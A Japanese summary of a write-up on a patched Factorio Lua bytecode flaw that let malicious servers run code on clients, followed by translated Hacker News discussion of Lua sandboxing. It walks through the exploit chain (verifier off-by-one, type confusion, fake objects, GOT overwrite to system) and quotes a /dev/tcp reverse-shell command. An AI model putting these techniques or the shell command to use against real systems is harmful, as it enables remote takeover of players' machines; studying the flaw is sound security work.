バイトコード解析:FactorioのLuaセキュリティ欠陥の解明
(memorycorruption.net)- FactorioのLua実装の脆弱性により、悪意あるサーバーが接続クライアント上で任意コード実行を得られる可能性があり、影響範囲はすでにパッチ済みの 1.1.101未満 のバージョン
- マルチプレイヤーが決定論的lockstep方式で同じLuaコードを実行する構造のため、攻撃者は悪意あるカスタムマップを通じてネットワーク経路上で脆弱性を誘発できる
- 問題の中心には、
baseモジュールのload/loadstringが許可していたバイトコード実行と、Factorio独自検証器のOff-By-One、型検証漏れがある - エクスプロイトは
FORLOOPの型混同でアドレスを漏えいさせた後、upvalueのインデックス操作でLClosureとTStringを混同させ、偽オブジェクトと任意読み書きを構成する - Linux RCEはGOTの
ldexpアドレスをsystemに差し替え、math.ldexp呼び出しを悪用した。Factorioの構造体オフセットと%aフォーマットの違いにより、別途補正が必要だった
脆弱性の範囲とLuaの露出経路
- FactorioのLua実装の脆弱性により、悪意あるサーバーがクライアント上で任意コード実行を得られる可能性があり、Factorio 1.1.101未満 のバージョンが影響を受ける
- LuaはFactorioでゲームロジック、Mod、カスタムマップの実装に使われている
- Modはゲーム内またはFactorio Modsから入手できる
- Moddingコミュニティには数千個のModがあり、一部はダウンロード数が50万回を超える
- 単に悪意あるModを直接インストールさせるローカル攻撃のように見えるが、マルチプレイヤーの同期方式のためLuaインタープリタがネットワーク経路に露出する
- Factorioのマルチプレイヤーは決定論的lockstepを使用する
- ゲーム状態そのものではなく、ユーザーの入力だけをネットワークで送信する
- すべてのプレイヤーのゲームは各tickを同一にシミュレートしなければならない
- あるプレイヤーがLuaコードを実行すると、他のプレイヤーも同期のため同じコードを実行する必要がある
- 攻撃者がLuaコードを実行させる経路は2つに整理できる
- 権限がある場合に
/cコマンドでサーバー上のLuaコードを実行する - Luaコードを含むカスタムマップを作り、クライアントがサーバー接続時に実行するようにする
- 権限がある場合に
- サーバーブラウザに悪意あるサーバーを表示させれば、被害者がマップをダウンロードしLuaコードを実行する流れが作られ得る
攻撃全体の流れ
- 攻撃はFactorioサーバーが悪意あるマップを提供する形で始まる
- マップのシナリオLuaコードにエクスプロイトを含める
- クライアントがサーバーに接続するとマップをダウンロードし、関連するLuaコードを実行する
- その後Lua実装の弱点を利用して偽オブジェクト(fake object) を構成する
- 偽オブジェクトはメモリリークとメモリ破壊を可能にする
- その結果、コード実行につながり得る複数のプリミティブを作れる
- 動的言語において偽オブジェクトは、攻撃者が強い制御権を得るための重要な手段である
- 文字列は任意データの漏えいに使える
- 配列やテーブルは任意メモリ書き込みに使える
- ネイティブ関数の呼び出し経路があれば、実行フロー制御につながり得る
Luaバイトコード実行と検証器の問題
- Factorioに含まれるLuaモジュールは制限されている
debug: デバッグ機能へのアクセスmath: 標準C数学インターフェースbit32: ビット演算string: 文字列操作table: テーブル操作base:printのようなLuaの中核関数
os.executeのような明らかに危険なモジュールは除かれているが、baseモジュールのloadとloadstringはバイトコード実行を許可するため攻撃面が大きい- LuaはソースコードをまずLuaバイトコードにコンパイルしてからインタープリタで実行する
- バイトコードはCPUの機械語ではなく、Luaインタープリタだけが実行できる表現である
- バイトコードを直接注入できると、通常のコンパイラが生成しない不正なバイトコードを実行できる
- Lua開発者は任意バイトコード実行の危険性を認識して検証器を作ったが、Lua 5.2で削除した
- Luaメーリングリストには、既存の検証器が繰り返し回避されており、任意のLuaコードを実行するアプリケーションはprecompiled scriptを受け取らないほうがよい、という趣旨が残されている
- Factorio開発者はLua 5.2.1に独自のバイトコード検証器を実装したようだ
- 保護ロジックは、コード外へのジャンプや定数配列範囲外のインデックスのような明確なOOBパラメータを防ぐことに集中している
- 一部のopcodeの意味により
Off-By-One問題があり、JMP 0のようなジャンプオフセット処理でコードブロック外へジャンプできた - 定数領域がコードchunkの後に割り当てられる場合があり、攻撃者は定数セクションにバイトコードを保存し、off-by-oneジャンプで検査を回避して実行できた
アドレス漏えい:FORLOOPの型混同
- Lua内部オブジェクトは
TValueで表現されるTValueは値領域であるValueと、型を示すtt_で構成されるValueは8バイト領域で、型に応じてdoubleまたはポインタのように解釈される
- Lua 5.2の数値はすべてdoubleで表現される
- 数値はポインタを経由せず、
Valueunion内にinlineで保存され得る - 文字列ポインタを数値のように解釈させると、ポインタビットがdouble値として露出し得る
- 数値はポインタを経由せず、
- 通常のLuaでは
print(function)がアドレスを出力できるが、Factorioでは削除されており、文字列アドレスも直接漏えいできない - ループopcodeである
FORLOOPは通常FORPREPの後に来る必要があるFORPREPは開始値、上限値、stepが数値かどうか確認するFORLOOP内部ではstepパラメータの型を検査せず、lua_assertベースの検査はデフォルトビルドでは強制されない
- 攻撃者はバイトコードを操作して
FORPREPを除去し、FORLOOPだけを実行させられる- 通常のLuaソースからコンパイラが生成しない状況をバイトコードで構成する
- 文字列のようなオブジェクトをstep位置に置くと、その
TValueのポインタがdoubleのように解釈されて漏えいする
- 漏えい値は通常のdoubleではなく、ポインタビットをdoubleとして解釈した値なので、
2.1944577826691e-317のような小さな値に見える- IEEE 754 binary64は符号1ビット、指数11ビット、mantissa 52ビットで構成される
- ポインタ値がdenormalized doubleのように見える場合、mantissaから元の値を復元できる
- Lua 5.2にはpack/unpackと整数型がないため変換が難しい
- 当初は
string.format("%.13a", double)でmantissaとexponentを読み、ポインタを復元した - 例の漏えい値は
0x43d6c0ポインタとして復元され、実際の文字列データはTStringヘッダーの24バイト後に位置する
- 当初は
Upvalue操作とLClosureの型混同
- Upvalueは現在の関数の外側のスコープにある変数へアクセスするLuaの仕組みである
- バイトコードのupvalue情報には、インデックス、名前、スタック位置かどうか、スタックインデックスが含まれる
- 攻撃者はバイトコードに含まれるupvalueインデックスを修正できる
- upvalueインデックスを変えると、本来のローカル変数ではなくスタック上の別の
TValueを参照できる- 例では
targetupvalueインデックスを1つ増やし、現在の関数のLClosureを指すようにする - 操作されたバイトコードは
nilの代わりにLClosure: 0x...を出力する
- 例では
- Luaで関数の実際の実行単位はPrototypeとClosureに分かれる
Protoはバイトコード、定数、ソース行、upvalue情報など、関数テンプレートの役割を果たすLClosureは実行中に生成され、Protoとupvalueリストを接続する
CLOSUREopcodeは新しいLua closureを作ってスタックに載せた後、upvalueを初期化する- ローカル変数が3つある場合、新しい
LClosureがbase + 3に置かれることがある - upvalueインデックスを
3に変えると、その位置のLClosureTValueをつかめる
- ローカル変数が3つある場合、新しい
- 内部関数が外側関数の
LClosureを文字列で上書きすると、戻り後にLuaが文字列をLClosureのように使おうとしてクラッシュするOP_RETURN経路の型検査はlua_assertに依存しており、デフォルト設定では強制されない- 結果として、現在の実行frameの
clが実際のLClosureではなく、攻撃者が制御するTStringを指す可能性がある
TStringとLClosureのレイアウト差を利用すると、文字列ユーザーデータ領域がProto *pとUpval **upvalの位置に重なる- この型混同により、関数prototypeポインタとupvalue配列ポインタを制御できる
- 制御可能なメモリ領域を指すようにすると偽オブジェクトを作れる
偽オブジェクトと読み書きプリミティブ
- 偽オブジェクトの作成経路は大きく2つある
- 偽
Protoが偽TValue配列を指す経路 - 偽
UpVal配列が偽TValueを指す経路
- 偽
- 定数経路はpaddingが少なく、関数内で定数を再利用できるため選択された
- 偽
TString - 偽
TStringを指すTValue配列 - 偽
TValue配列を指すProto - 偽
Protoを指すLClosure
- 偽
- 偽
TStringは長さを任意に大きく設定して読み取りプリミティブとして使える- Lua文字列データは
TStringヘッダーの後にあると仮定される str:sub()で偽文字列が届く範囲のメモリを読める- Lua文字列インデックスは1から始まるため、header計算で1バイト補正が必要になる
- Lua文字列データは
- 書き込みプリミティブは、偽
UpValが書き込み先アドレスのTValueを指すようにする方式である- Lua変数に数値を代入すると、その位置に数値
TValueが記録される - 数値は
TValueの最初の8バイトにinline保存されるため、値領域を制御できる - 同時に次の8バイトには型情報が記録されるため、周辺メモリも破壊され得る
- Lua変数に数値を代入すると、その位置に数値
- Lua数値がdoubleである点から、望む整数ビットパターンを書き込むには変換が必要になる
- denormalized doubleの最小単位である
2^-1074を利用する integer_to_double(integer) = integer * 2^-1074という形で整数をdouble表現にエンコードする
- denormalized doubleの最小単位である
命令ポインタ制御とASLR回避
- Luaの
Light C Functionは関数ポインタをTValue内にinline保存する- 関数型は
LUA_TFUNCTIONであり、Light C FunctionはLUA_TLCF値22で表現される TValueの値領域に0xdeadbeef、型領域に22を入れると、そのアドレスの関数のように呼び出せる
- 関数型は
- 偽
Light C Functionを呼び出すとinstruction pointerを制御できる- 例では
RIPが0xdeadbeefになりクラッシュする - その後、ROP chainのような実行フロー変更技法につながり得る
- 例では
Light C Functionポインタがinline保存される点はアドレス漏えいにも有用である- Lua関数がlight C functionとして実装されていれば、アドレス漏えいプリミティブで
printのような関数アドレスを読める - これによりASLR回避に必要な基準アドレスを計算できる
- Lua関数がlight C functionとして実装されていれば、アドレス漏えいプリミティブで
- sandbox化された関数がバイナリに残っていれば、fake functionをそのアドレスへ向けて呼び出す回避も可能である
Factorio向けの補正
- 初期テストは公式Luaインタープリタで行われたが、FactorioのLua実装は構造体レイアウトが異なる
- FactorioのGCオブジェクト
CommonHeaderにはpreviousポインタが追加されている- 公式Luaは
next、tt、markedという構造である - Factorioは
previous、next、tt、markedという構造に見える
- 公式Luaは
- この差により、一部のオフセットが8バイトずつずれる
TStringヘッダーは24バイトではなく32バイトになる- 文字列内容アドレス計算と読み取りプリミティブの相対アドレス計算を修正する必要がある
- 偽
UpValとfake closure計算でも追加ポインタを反映する必要がある
- Factorioでは
%aフォーマットの挙動も公式Luaテストと異なっていたstring.format("%.13a", 2.1038461432219e-316)が期待した0x0.000000289c130p-1022ではなく、0xa.2704c00000000p-1052の形を返す- このため文字列フォーマットベースのdouble復元が壊れた
- 最終的な変換は純粋な数値方式に変わった
- denormalized値はすべての整数が右側の最下位ビット基準で始まると見なせる
double_to_number(double) = double * 2^52 * 2^1022で漏えいした値を復元する2^1074はdoubleで表現できないため、2段階の乗算に分ける
Linux RCE:GOT差し替えとmath.ldexp
- Linuxで選んだRCE経路は、ROP chainの代わりにGOT差し替えを利用する
- Luaから呼び出し可能で、第1引数を制御できるimported functionを探す
- その関数のGOTエントリを
systemアドレスで上書きする - Luaからその関数を呼び出し、
system(command)のように動作させる
- Factorioの制限されたLuaライブラリ内では、
math.ldexpが適切な関数として使われた- 内部的に
ldexp(luaL_checknumber(L, 1), luaL_checkint(L, 2))を呼び出す - GDB確認で、2番目のLua引数がlibc呼び出しの最初のレジスタ引数
RDIとして渡される状況が確認された
- 内部的に
- GOTはheapより前にあるため、既存の偽文字列読み取りプリミティブだけでは直接読むのが難しい
- 読み取りプリミティブは偽文字列ヘッダー以降のアドレスしか読めない
- GOTの前にあるwritable segmentを利用し、GOTより前の位置に偽
TStringを構成する
- 偽
TStringをGOTの前に作れば、libc関数アドレスを読んでASLRを回避できる- 例ではGOTから
memcpyアドレスを読んだ - Fedora 39のlibc 2.38オフセットとして
libc_base = memcpy - 0x138b80、system = libc_base + 0x2a3b0を計算する
- 例ではGOTから
- その後、
ldexpのGOTエントリをsystemアドレスで上書きする- 例のアドレスでは
0x289ef00位置がldexpのGOTエントリとして使われた write(0x289ef00, system)という形で上書きする
- 例のアドレスでは
コマンド実行と最終的なリモートシェル
- 当初はLua文字列にコマンドを保存し、
math.ldexp(0, addr_of(cmd) + 32)で呼び出そうとしていた- コマンドは
sh -c "sh -i >& /dev/tcp/127.0.0.1/9001 0>&1 &"の形である - しかしLuaが
ldexpを32ビットパラメータで呼び出したため、文字列アドレスの上位ビットが切り捨てられ失敗した
- コマンドは
- 回避策は、以前に偽文字列を作る際に使ったバイナリのwritable segmentへコマンド文字列を直接書き込む方式である
- PIEが有効化されていないため、メインバイナリアドレスは十分小さかった
- アドレス
0x289c150付近にコマンド文字列を複数回のwrite()で記録する
math.ldexp(0, 0x289c150)呼び出しは、GOT差し替え後にはsystem(0x289c150)呼び出しのように動作する- 最終実行結果はローカルの
nc -lvp 9001リスナーに接続されたシェルとして確認された- シェルプロンプトは
sh-5.2$ whoamiの結果はvictim
- シェルプロンプトは
練習用チャレンジと参考資料
- 記事の末尾には、Luaインタープリタから脱出してLuaコードから直接呼び出せないJavaScript関数を実行するブラウザベースのチャレンジが提供されている
- チャレンジ: Escape from Alcawasm
- 関連参考リンク
- Luaバイトコード検証器削除の背景: lua-lメーリングリストのWaybackコピー
- Factorio Lua検証器コード: Factorio Lua
- Lua数値実装: Programming In Lua: Numbers
- Luaクロージャ: Programming in Lua: Closures
%aフォーマットの説明: GNU libc Floating-Point Conversions- Lua 5.1 Windowsエクスプロイトの参考: Exploiting Lua 5.1 on 32-bit Windows
1件のコメント
Hacker Newsのコメント
意外だった
Luaはバイトコードを解釈するので、命令の引数が意味のあるものかどうか、たとえばLuaが割り当てたメモリを指しているか、といったことを確認できるものだと思っていた
だが実際にはそうではなく、誤った引数を持つバイトコードを渡してもそのまま実行してしまう。その後の侵害はそこから始まる
しかもインタープリタを修正する代わりにバイトコードを静的解析しようという計画らしいが、これは単純なケースにしか通用しないように見える
サンドボックス向きのインタープリタ言語としてはかなりがっかりで、入力を信頼しないようにインタープリタを修正するパッチを受け入れるのか気になる。性能低下を懸念しているようだが、高速な選択肢がLuaJITであることを考えると疑わしい
このやり方なら、信頼済みのバイトコードを直接ロードする選択肢は残しつつ、全ユーザーに影響する動的チェックをインタープリタに入れずに済むので、合理的に思える
Luaは設計上、停止性の保証を提供しておらず、信頼できないプログラムを強制終了させるよい方法もない。信頼できないLua入力を受けるなら、プログラムが無期限に停止する可能性があると考えるべきだ
Luaは、インターネットからダウンロードしたコードのような、最低限のデューデリジェンスを経た準信頼入力には優れている。コードが実際に悪意あるものであっても、被害を大きく制限はできるが完全には防げない程度だ
JavaScript的に完全に信頼できない入力が必要なら、RobloxフォークのLuauが適している: https://luau-lang.org/sandbox
他の言語が示してきたように、バイトコード用の安全なインタープリタを作るのは単純なことではない。参照実装を単純にするためのトレードオフでもある
サードパーティーコードの実行に関しては、この手のインタープリタの大半を信用していない。Webブラウザに注がれる研究開発費と注目度を考えても、ブラウザですらようやく信用できる程度だ
任意の機械語コードを実行しないのと同じことだ
Luauも同じ性質を持っているが、Robloxがサンドボックス脱出で常に苦しめられているわけではないだろう
こうした点がもっと明確に定義または文書化されていてほしい。どの言語が合理的に安全だと見なせるのか、自分で見極めなければならない状況だ
たとえば、静的なコードをユーザー自身が実行する基本ケースがあり、Luaを含む一般的な言語が通常想定しているのはここだ
また、コードを更新の過程で動的に受け取って実行するが、公式チャネルしか使わないケースもある。この場合、プロセスを安全にすれば何とかなるかもしれないが、確実ではない
ユーザーがプラグインとしてコードを追加でき、ストアからボタン一つで簡単にインストールできるケースもある。プラグインは審査できるとしても、ほとんどまともには機能しないので、サンドボックスが必要か、ユーザーが注意すべきかを考えなければならない
マルチプレイヤーゲームで、サーバーだけがプラグインで拡張され、クライアントはそうでないケースもある。サーバーを立てるゲーマーがさまざまなプラグインを積極的に試すこと、そしてプラグインコミュニティがはるかに危険になりうることを考慮すべきだ
最後に、ブラウザのようにサーバーがクライアント上で任意コードを実行できるマルチプレイヤーゲームがある。この場合、とりわけクライアント側のサンドボックスに細心の注意を払う必要がある。ゲーマーはセキュリティへの影響を考えずに任意のサーバーへ参加するからだ
Factorioはまさに最後のケースだ。開発者がこれを評価しなければならないこと自体に強く反対するわけではないが、たとえばLuaの
load関数が安全でない任意のバイトコードを実行できるという事実が、常に明白とは限らない正直、Luaバイトコードが安全でないことは知らなかったが、LuaJITバイトコードが安全でないことは知っていた。ただ、この事実はメーリングリストやGitHub Issueで当然のことのように断片的に書かれている程度に見える
サーバーがクライアントを停止させられるという問題もある。無限ループを回せばよいだけだ。ただ、これは回避がはるかに難しく、そもそも回避しようとすること自体が無意味かもしれない
クライアント側でブラウザを無効化するオプションはなく、開発者は最終的にこれを完全に無効化したと記憶しているが、現在どうなっているかは確かではない
ゲームとゲームエンジンがどれほど複雑になったかを示している。特に理由もなさそうな場所に組み込みWebブラウザが入っている
Factorio の背後には本当に優秀な開発チームがいるので、この種の問題を修正するために全力を尽くしていると信じている。ただ、ゲーム開発全般は創造的な作業の性格が強く、コードの慣行やセキュリティのようなものは後回しにされがちな気がする
ゲームクライアントやサーバーに ゼロデイ脆弱性 がどれほど潜んでいるのか気になる
Flatpak は出発点としては役に立つかもしれない。コンテナは強固なセキュリティ境界ではないが、単純なエクスプロイトは防げる
それは単に公式オンラインサービスを使わせたいという商業的判断だけではない。第三者サーバーの IP 接続を防げば、ネットワークコードやゲームの他の部分に深刻なバグがあっても絶対に悪用されない。MOD、さらには Lua のような「安全な」MOD まで制限すれば、エクスプロイトをさらに防げる
バグの多いネットワークコードは、歴史的に複数のコンソールの DRM を崩してきた
エクスプロイトだけでなく、コンソールはコードが配布前に審査されることを誇りにもしている。リモートシステムからの Lua 実行を許せば、承認後でもゲームが開発者自身によって遠隔再構成されうることを意味し、コンソールメーカーは非常に綿密な審査なしにはそれを認めたがらない
理想的には仮想マシンに隔離するのがよいが、ゲーム用仮想マシン の設定はとても面倒で、アンチチートを使う一部のゲームでは排除される可能性がある
他分野がプログラミングのできる人材を切実に必要としていることを思うと、熟練した人たちがゲーム分野で働いているのがほとんど惜しいくらいだ
一般にプログラム検証は Rice の定理のためだけでなく、きわめて難しい。特に Lua のような単純ではないバイトコード言語では、見落としが非常に生じやすい。たとえば Wasm には for ループの概念 がない
上流プロジェクトが難しすぎるとしてこの問題を諦めたあと、Factorio の開発者たちが検証器を修正したり自作しようとしたのは奇妙だ
Minetest の
loadstring関数はバイトコードを完全に禁止している: https://github.com/minetest/minetest/blob/9a1501ae89ffe79c38...Factorio の MOD が生の Lua バイトコードを実行する能力をなぜ必要とするのか気になる。必要ないなら、検証器も不要だったはずだ
そもそもネットワーク経由で取得した Lua コードを実行すること自体がかなり危険だ。JavaScript 実行環境は数十年にわたり、エクスプロイトの発見と修正の循環を経験してきた。Lua にもそうしたことはあるが、規模は小さく、セキュリティ改善に投入できる人員も少ない
主な防御策は、悪意のあるゲームサーバーを運営する人が少ないことなのかもしれない
同様のセキュリティ上の理由から、デバッグライブラリもほぼ全面的に MOD から使えなくなった
loadstring()関数から バイトコード機能 を取り除くべきだということを痛い形で学ぶことになるたとえば ROBLOX の開発者が 12 年前に書いた記事がある: https://archive.is/oXPyM
正直、デフォルトで無効にした方がよいだろう。正当な用途はかなりニッチだ
しかも、チューリング完全な環境でそのまま実行できないソフトウェアを作るのはかなり制約が大きい
いずれにせよ、強力な 権限管理の仕組み を備えたインタプリタが本当に必要だ
だが、実際の要件を満たす入力の一部だけを受け入れると割り切るなら、Rice の定理の出番は終わりだ。あとは不可能な作業ではなく、きわめて難しい作業が残るだけだ
失敗したとしても、少なくとも不可能なことだったとは言われないので、慰めにはなるかもしれない
Factorio はこの道を進むべきではなかった
完全に初心者の質問だが、ゲームはなぜ Lua を使い、たとえばゲーム状態を調整する API のような定義済みインターフェースを持つ 組み込み JavaScript を使わないのか気になる
ブラウザ環境の隔離に投入されてきた、はるかに強力な強化作業の恩恵を受けられそうだ。ブラウザは難しく、非常によくテストされ、多額の資金が投入された標的だ
動的型付けの性能最適化にも膨大な作業が注がれてきた
しかも MOD に UI が必要なら canvas があり、DOM に似たモデルを提供するなら React のようなものも潜在的には可能だ
Lua は統合のために特別に作られているので、資料も多く、大きなコミュニティにも支えられている
それに、一般的なブラウザ API と JavaScript を混同している。JavaScript エンジンは canvas や DOM を提供しない。たとえば V8 も提供せず、それらは自分で追加しなければならない
セキュリティ開発者ではないけれど、儀礼的に「わあ、これはものすごく印象的だ!」と言いたい。こういう複雑な失敗事例を追跡するには、どれほど明晰で論理的に考えなければならないのか信じがたい。間違いなく自分の強みではなく、自分はもっとずっと「アイデア担当」に近い
内容面では、こういう奇妙なメモリ exploit を見つけるブログ記事を1万本分搭載した AIソフトウェアエンジニア集団 が現れたら、私たちは完全に終わりだと思う
結局のところ、セキュリティのためにはまったく新しいパラダイム、少なくともスタック内の新しい要素が必要だと思う。現代の「信頼された」クライアントやDBの役割のような話は、スイスチーズの穴を継ぎはぎしているように感じる
できれば、LLMが管理する新しいスイスチーズの層をもう1枚重ねられるといいのだが
つまり、これは悪用可能だと宣伝されていた機能である バイトコード読み込み に依存する exploit を示しただけではないのか? 自分は何を見落としているんだろう?
jmpのような基本命令をモデル化するときの off-by-one エラー や、Luaインタプリタが手に入るものを何でも命令として解釈しようとする問題のような単純なものだった検証器が触れないデータセクションまで解釈しようとしていた
loadstringが無効化された環境でも 任意バイトコード実行 が可能かもしれないこんなに有能な人たちが善い側にいてくれて本当によかった
ニュース媒体は逆だと信じさせるし、そうしたニュースの平均的なコメントもその信念を強めるが、もし本当にそうなら、私たちが享受しているさまざまな贅沢や医療・社会支援プログラムがどうして成り立つだろうか
世の中に問題がないという意味ではないが、明らかに破壊的な人より 建設的な人 のほうがずっと多い
ちょうど Panama Papers 関連のHNスレッドから来たばかりなので、この考えがなおさら頭にある。あそこでは、すべての金持ちが悪で、全員が完全に起訴を免れたかのようにシニカルな雰囲気だったが、実際にはどちらも事実ではないと、いくつかのコメントがうまく指摘していた。ただし、スレッドを少し下まで読んで、そのシニシズムに飲まれないようにしなければならない
Luaバイトコードは、Luaソースコードパーサを回すリソースが足りない 組み込みシステム 以外では、絶対に使うべきではないと思う
セキュリティ脆弱性以外で有用に見える唯一の用途は、非公開ソースのプログラムくらいだ
自分が見落としているのかもしれないが、後半はざっと読んだだけだと認めたうえで言うと、筆者は実際にどんな 緩和策 が講じられたのかをまったく扱っていないように見える。その部分をもっと聞きたい
1.1.104: https://github.com/Rseding91/Factorio-Lua/commit/4d924b69808...
そして 1.1.107: https://github.com/Rseding91/Factorio-Lua/commit/ce12474c7fc...
最も関連が深いのは 1.1.104 の
luaB_loadの変更で、単純に バイトコード読み込み を無効化した